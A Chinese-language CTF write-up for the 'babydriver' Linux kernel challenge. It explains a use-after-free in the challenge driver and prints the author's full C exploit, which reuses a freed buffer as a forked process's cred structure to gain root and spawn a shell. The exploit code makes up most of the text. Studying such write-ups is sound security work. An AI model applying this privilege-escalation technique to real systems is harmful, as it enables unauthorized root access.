babydriver writeup

0x00:

之前国赛的一个Linux kernel pwn,Atum大佬的题目。

简单的来说就是kernel的UAF,怎么利用就仁者见仁,智者见智了。

  1. 复杂一点,0ctf knote的思路,喷射tty_struct内核对象,然后利用write方法修改这个内核对象,完成提权,但是要bypass smtp保护,这个需要ROP。

  2. 赛后问了出题人,最简单的方法,直接fork,利用write方法改uid去拿root,代码也很短,不需要bypass 那些保护。

方法1的话fp的wp写的很清楚(膜石总+林博士),方法2的话文章后面会放出出题人的exp。

0x01: 出题人的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>
const long long credsize=168;
char *dev="/dev/babydev";
char buf[100];
volatile int racestop=0;
volatile int releasedone=0;
int main(){
int fd1,fd2,ret;
char zero[100]={0};
fd1=open(dev,O_RDWR);
fd2=open(dev,O_RDWR);
printf("fd1=%d\n fd2=%d\n",fd1,fd2);
ret=ioctl(fd1,0x10001,credsize);
printf("ioctl in main =%d\n",ret);
close(fd1);
int t=1000;
int pid=fork();
if(pid<0){
puts("error,pid<0");
return 0;
}
if(pid==0){
ret=write(fd2,zero,28);
printf("write in writebuf=%d\n",ret);

t=getuid();
printf("uid=%d\n",t);
if(t==0){
system("/bin/sh");
exit(0);
}
else{
exit(0);
}

}
else{
wait(NULL);
}
close(fd2);
return 0;
}